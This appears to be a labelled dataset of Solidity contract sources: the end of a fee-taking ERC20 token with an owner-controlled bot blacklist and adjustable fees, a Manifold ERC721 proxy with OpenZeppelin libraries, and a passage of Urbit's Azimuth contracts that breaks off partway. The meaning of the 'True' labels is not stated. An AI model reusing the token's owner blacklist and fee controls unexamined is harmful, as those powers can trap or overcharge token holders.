uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: S4PIEN
/// @author: manifold.xyz
import "./ERC721Creator.sol";
//////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░▒▒▒░░░░░░░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░▒█▓▒░░▒▓▓█░░░░░░░░░▓██░░░░░████▒▒▓███▒░░░░▓████░░░░░████▓▒▒▒▒▓██░░░░▓████▒░░░░░░█▓░░░░ //
// ░░░▒██░░░░░░░█░░░░░░░▒████░░░░░▓███░░░░████░░░▒███▓░░░░░▓███▒░░░░░░█░░░░░██████░░░░░▒▒░░░░ //
// ░░░▒███▓▒░░░░▒░░░░░░▓▒▒███░░░░░▓███░░░░████░░░▒███▓░░░░░▓███▒░░▓░░░░░░░░░█░▒████▓░░░▒▒░░░░ //
// ░░░░▒██████▓▒░░░░░▒▓░░▒███░░░░░▓███▒░▒███▓░░░░▒███▓░░░░░▓███▓▒▓█░░░░░░░░░█░░░▓████▒░▒▒░░░░ //
// ░░░░░░▒▓██████▒░░▓▒░░░▒███░░░░░▓███▓▒▒▒░░░░░░░▒███▓░░░░░▓███▒░▒█░░░░░░░░░█░░░░▒████▓▓▒░░░░ //
// ░░░▒░░░░░░▒████░▒██████████▒░░░▓███░░░░░░░░░░░▒███▓░░░░░▓███▒░░▒░░░░░░░░░█░░░░░░▓████▒░░░░ //
// ░░░▓█░░░░░░░███░░▒▒▒▒▒▓███▒░░░░▓███░░░░░░░░░░░▒███▓░░░░░▓███▒░░░░░░▒▓░░░░█░░░░░░░░███▒░░░░ //
// ░░░▓██▓▒░░▒▓█▓░░░░░░░░▒███░░░░░████▒░░░░░░░░░░▓████░░░░░████▓▒▒▒▒▓██▒░░░▓█▒░░░░░░░░▒█▒░░░░ //
// ░░░░░░░░▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////////////
contract S4 is ERC721Creator {
constructor() ERC721Creator("S4PIEN", "S4") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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] |
// conditional star release
// https://azimuth.network
pragma solidity 0.4.24;
////////////////////////////////////////////////////////////////////////////////
// Imports
////////////////////////////////////////////////////////////////////////////////
// OpenZeppelin's Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// Azimuth's SafeMath8.sol
/**
* @title SafeMath8
* @dev Math operations for uint8 with safety checks that throw on error
*/
library SafeMath8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint8 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
// Azimuth's SafeMath16.sol
/**
* @title SafeMath16
* @dev Math operations for uint16 with safety checks that throw on error
*/
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint16 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
// OpenZeppelin's SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// OpenZeppelin's ERC165.sol
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// OpenZeppelin's SupportsInterfaceWithLookup.sol
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
// OpenZeppelin's ERC721Basic.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
// OpenZeppelin's ERC721.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// OpenZeppelin's ERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
// OpenZeppelin's AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// Azimuth's Azimuth.sol
// Azimuth: point state data contract
//
// This contract is used for storing all data related to Azimuth points
// and their ownership. Consider this contract the Azimuth ledger.
//
// It also contains permissions data, which ties in to ERC721
// functionality. Operators of an address are allowed to transfer
// ownership of all points owned by their associated address
// (ERC721's approveAll()). A transfer proxy is allowed to transfer
// ownership of a single point (ERC721's approve()).
// Separate from ERC721 are managers, assigned per point. They are
// allowed to perform "low-impact" operations on the owner's points,
// like configuring public keys and making escape requests.
//
// Since data stores are difficult to upgrade, this contract contains
// as little actual business logic as possible. Instead, the data stored
// herein can only be modified by this contract's owner, which can be
// changed and is thus upgradable/replaceable.
//
// This contract will be owned by the Ecliptic contract.
//
contract Azimuth is Ownable
{
//
// Events
//
// OwnerChanged: :point is now owned by :owner
//
event OwnerChanged(uint32 indexed point, address indexed owner);
// Activated: :point is now active
//
event Activated(uint32 indexed point);
// Spawned: :prefix has spawned :child
//
event Spawned(uint32 indexed prefix, uint32 indexed child);
// EscapeRequested: :point has requested a new :sponsor
//
event EscapeRequested(uint32 indexed point, uint32 indexed sponsor);
// EscapeCanceled: :point's :sponsor request was canceled or rejected
//
event EscapeCanceled(uint32 indexed point, uint32 indexed sponsor);
// EscapeAccepted: :point confirmed with a new :sponsor
//
event EscapeAccepted(uint32 indexed point, uint32 indexed sponsor);
// LostSponsor: :point's :sponsor is now refusing it service
//
event LostSponsor(uint32 indexed point, uint32 indexed sponsor);
// ChangedKeys: :point has new network public keys
//
event ChangedKeys( uint32 indexed point,
bytes32 encryptionKey,
bytes32 authenticationKey,
uint32 cryptoSuiteVersion,
uint32 keyRevisionNumber );
// BrokeContinuity: :point has a new continuity number, :number
//
event BrokeContinuity(uint32 indexed point, uint32 number);
// ChangedSpawnProxy: :spawnProxy can now spawn using :point
//
event ChangedSpawnProxy(uint32 indexed point, address indexed spawnProxy);
// ChangedTransferProxy: :transferProxy can now transfer ownership of :point
//
event ChangedTransferProxy( uint32 indexed point,
address indexed transferProxy );
// ChangedManagementProxy: :managementProxy can now manage :point
//
event ChangedManagementProxy( uint32 indexed point,
address indexed managementProxy );
// ChangedVotingProxy: :votingProxy can now vote using :point
//
event ChangedVotingProxy(uint32 indexed point, address indexed votingProxy);
// ChangedDns: dnsDomains have been updated
//
event ChangedDns(string primary, string secondary, string tertiary);
//
// Structures
//
// Size: kinds of points registered on-chain
//
// NOTE: the order matters, because of Solidity enum numbering
//
enum Size
{
Galaxy, // = 0
Star, // = 1
Planet // = 2
}
// Point: state of a point
//
// While the ordering of the struct members is semantically chaotic,
// they are ordered to tightly pack them into Ethereum's 32-byte storage
// slots, which reduces gas costs for some function calls.
// The comment ticks indicate assumed slot boundaries.
//
struct Point
{
// encryptionKey: (curve25519) encryption public key, or 0 for none
//
bytes32 encryptionKey;
//
// authenticationKey: (ed25519) authentication public key, or 0 for none
//
bytes32 authenticationKey;
//
// spawned: for stars and galaxies, all :active children
//
uint32[] spawned;
//
// hasSponsor: true if the sponsor still supports the point
//
bool hasSponsor;
// active: whether point can be linked
//
// false: point belongs to prefix, cannot be configured or linked
// true: point no longer belongs to prefix, can be configured and linked
//
bool active;
// escapeRequested: true if the point has requested to change sponsors
//
bool escapeRequested;
// sponsor: the point that supports this one on the network, or,
// if :hasSponsor is false, the last point that supported it.
// (by default, the point's half-width prefix)
//
uint32 sponsor;
// escapeRequestedTo: if :escapeRequested is true, new sponsor requested
//
uint32 escapeRequestedTo;
// cryptoSuiteVersion: version of the crypto suite used for the pubkeys
//
uint32 cryptoSuiteVersion;
// keyRevisionNumber: incremented every time the public keys change
//
uint32 keyRevisionNumber;
// continuityNumber: incremented to indicate network-side state loss
//
uint32 continuityNumber;
}
// Deed: permissions for a point
//
struct Deed
{
// owner: address that owns this point
//
address owner;
// managementProxy: 0, or another address with the right to perform
// low-impact, managerial operations on this point
//
address managementProxy;
// spawnProxy: 0, or another address with the right to spawn children
// of this point
//
address spawnProxy;
// votingProxy: 0, or another address with the right to vote as this point
//
address votingProxy;
// transferProxy: 0, or another address with the right to transfer
// ownership of this point
//
address transferProxy;
}
//
// General state
//
// points: per point, general network-relevant point state
//
mapping(uint32 => Point) public points;
// rights: per point, on-chain ownership and permissions
//
mapping(uint32 => Deed) public rights;
// operators: per owner, per address, has the right to transfer ownership
// of all the owner's points (ERC721)
//
mapping(address => mapping(address => bool)) public operators;
// dnsDomains: base domains for contacting galaxies
//
// dnsDomains[0] is primary, the others are used as fallbacks
//
string[3] public dnsDomains;
//
// Lookups
//
// sponsoring: per point, the points they are sponsoring
//
mapping(uint32 => uint32[]) public sponsoring;
// sponsoringIndexes: per point, per point, (index + 1) in
// the sponsoring array
//
mapping(uint32 => mapping(uint32 => uint256)) public sponsoringIndexes;
// escapeRequests: per point, the points they have open escape requests from
//
